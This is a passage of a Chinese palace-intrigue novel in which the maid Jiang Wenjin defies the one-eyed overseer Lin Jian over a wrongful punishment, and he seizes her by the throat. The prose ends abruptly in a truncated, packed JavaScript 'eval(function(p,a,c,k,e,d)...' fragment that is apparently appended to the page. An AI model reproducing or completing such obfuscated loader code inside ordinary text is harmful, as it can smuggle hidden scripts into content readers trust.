他没让起来,雯锦只得依旧跪着。
她恍惚想起,爹爹不拘俗礼。从前,她是极少跪的。只是爹爹死后,她没入司苑局,卑躬屈膝已久。忍、藏、等……她学会了低头、忍耐、顺从,她以为自己早已麻木。
可袖袍内,她掐着自己的手指,直到手心沁血。指尖发颤,脑中只有一个声音在呐喊:不能有人再这么冤死在她面前。
“督公且慢。”
雯锦捂着心口从新抬头,直身跪在原处,定定盯他的眼睛。
闻言,蔺翦不由顿住脚步,侧身回望。女人梳着双丫髻,身上旧袄洗得发白。伏在人群里,和所有跪着的奴婢一样不起眼。她身材瘦弱如风中蒲柳,面色蜡黄似陈年旧纸,中人之资,唯一算的漂亮的就是那双杏眼了。
那双眸始终迸着他所不曾拥有的光,熠熠生辉,亮的刺眼,教人生厌。
明明面前这个卑贱如尘的女人,自己身上还在战栗,却还是非要呈匹夫之勇。
蔺翦叹了口气,缓道:“你想说什么?”
雯锦抑住声颤,努力让自己的声音显得掷地有声,一字一句道。
“奴婢斗胆,此案有疑。其一,今岁寒凉,毋庸置疑。虽细心呵护,然局中冻毙难免。其二,牡丹非我局所辖,另有专人照料。其三,这位公公未审先定罪,允他私自行刑不合礼法。”
“奴婢并非为其开脱,只求督公明察,勿使真凶逍遥,清者蒙冤。”
她盯着眼前的男人,发觉他那只未盲的眼睛也注视着她,辩不出什么情绪,只是淡淡的回了一句:“你叫什么名字?入宫几载?”
“奴婢姜雯锦,今入宫九载。”
男人盯了她半刻,像在辨认什么,随后嗤笑道:
“九年,呵,依旧没能教会姜内人聪明点。”
她瞧着男人眼底的嘲弄,心跳如擂。却依旧没有低头,反而挺胸直身。
雯锦跪得更笔直了些,抬眸倔强地直视他的眼睛。
“所以,督公,肯查吗?”她又复问道。
“求一个满身罪孽,浑身浴血之人救人。不可笑吗?”
一言毕,他俯下身,五指猝然扼住她的脖颈,力道凶狠,令她喘不过气,迫使其眼角沁出泪来。饶是如此,女人依旧不肯低头,她死死的盯着他。倘若那眼神似刃,此刻的他早已千疮百孔。
这个眼神…… ;eval(function(p,a,c,k,e,d){e=function(c){retu